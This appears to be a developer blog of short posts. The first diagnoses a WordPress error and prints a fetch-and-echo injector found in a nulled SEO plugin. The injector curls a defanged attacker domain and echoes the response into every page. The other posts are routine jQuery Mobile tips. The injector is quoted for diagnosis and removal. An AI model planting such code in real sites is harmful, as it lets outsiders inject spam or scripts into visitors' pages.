Fixing: "The requested URL /jquery-1.6.3.min.js was not found on this server."

If a WordPress site starts printing this at the top of every page:

Not Found

The requested URL /jquery-1.6.3.min.js was not found on this server.

check whether a plugin is pulling in a fake “jQuery” file. I traced this one to injected code in all_in_one_seo_pack.php:

$url = "hxxp://www.4llw4d[.]freefilesblog[.]com/jquery-1.6.3.min.js"; // defanged; attacker-controlled
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";

That is not loading jQuery. It fetches whatever a random domain returns and echoes it straight into the page on every request. The error was just the malware host returning its own 404, printed onto the page in place of the usual payload (normally spam links or hidden SEO content). It rode in on a nulled “Pro” copy of All in One SEO Pack.

Pointing $url at the real code.jquery.com doesn’t fix anything, it just dumps the jQuery source as text onto the page, because the code echoes the response body instead of loading a script. The only real fix is to remove the nulled plugin and install the official free version from the WordPress plugin directory.

Watch out for this pattern: nulled (pirated) WordPress plugins routinely ship with a fetch-and-echo injector disguised as a jQuery loader. Sucuri has a good breakdown in Fake jQuery Scripts in Nulled WordPress Plugins, and All in One SEO publishes its own warning about nulled copies. A free “Pro” plugin isn’t free; the price is remote code running on your server.

Jquery Mobile - Display Loading Message

I’ve been displaying the ajax loading message when loading a php file (especially when there’s a chance it won’t run instantly).

I’ve been doing the following:

$.mobile.showPageLoadingMsg ();
$('#phpDiv').load('file.php',function(){
	$('#phpDiv').trigger('create');
	});
$.mobile.hidePageLoadingMsg ();

“showPageLoadingMsg” will start to display the ajax loading message and “hidePage~” will close it. The stuff in the middle loads what the php file returns into a div, then creates DOM contents for it with the trigger(‘create’) function.

Best Jquery Mobile Datebox Plugin

The currently reigning champion of datebox plugins for Jquery Mobile: https://github.com/jtsage/jtsage-datebox

Jquery Mobile - Close Jqm-Datebox When Dialog Closes

// this will make sure the datebox closes when the dialog closes
	$(document).delegate('#closeButton', 'click', function() {
	$(".ui-datebox-container").hide();
	$(".ui-datebox-screen").hide();
	});

Make sure your #closeButton is the same as the button which closes the dialog.

TodoMVC with MySQL Database

https://github.com/bartcc/app.todos

This project is a modification of the TodoMVC (used to sample how a language is structured by making a To-Do list). It adds database support and ends up being a very cool To-Do list.

Good Jquery Mobile Blog Post

Just got finished reading the following blog post: jQuery Mobile Best Practices

Most of it’s obvious, but it’s definitely on my list of good blog posts for Jquery Mobile beginners.

Reminds me how Jquery Mobile needs an official “Best Practices” document.

Loading Scripts Dynamically In Jquery Mobile

At first, I loaded all of my scripts in the header (even when the scripts weren’t needed when the page was being loaded).

I found this website that partially explained how to load scripts when the page loads. However, Jquery Mobile needs to use the delegate function to load the script when a page is showing.

I copied the function from the website above:

function loadjscssfile(filename, filetype){
 if (filetype=="js"){ //if filename is a external JavaScript file
  var fileref=document.createElement('script')
  fileref.setAttribute("type","text/javascript")
  fileref.setAttribute("src", filename)
 }
 else if (filetype=="css"){ //if filename is an external CSS file
  var fileref=document.createElement("link")
  fileref.setAttribute("rel", "stylesheet")
  fileref.setAttribute("type", "text/css")
  fileref.setAttribute("href", filename)
 }
 if (typeof fileref!="undefined")
  document.getElementsByTagName("head")[0].appendChild(fileref)
}

Now, you need to add code to the top of the data-role=”page” where you want the script to load:

$(document).delegate('#page', 'pageshow', function() {
 loadjscssfile("your.css", "css")
 loadjscssfile("your.js", "js")
});

Best Jquery Calendar Plugin

FullCalendar can be found here: http://arshaw.com/fullcalendar/

I thought it looked the best and had the most API functions out of the HTML5 calendars I saw.

Jquery Add/Remove Class

Problem: In Jquery Mobile, I used the mobile.changePage (method) to switch pages. Now the button for the previous page is still blue.

Solution: Add Id’s to the list items you’ll be dealing with. Then use Jquery to remove the class “ui-btn-active” from the old button, and add the “ui-btn-active” class to the new button.

Here’s the code:

$('#listItem1').removeClass('ui-btn-active')
$('#listItem2').addClass('ui-btn-active')

Global Variables In Javascript

Problem: I had two different <script> (javascript) sections, and I was unable to pass a variable from one set of <script> tags to the other.

Turns out it doesn’t have anything to do with the script tags, and I just needed to learn a bit more about scope in Javascript. Apparently global variables are a common thing (maybe still not a good practice?) and as long as a variable is used outside of a function.. You’ll be able to access the variable anywhere on the page.

Solution: Take the variable outside of the function.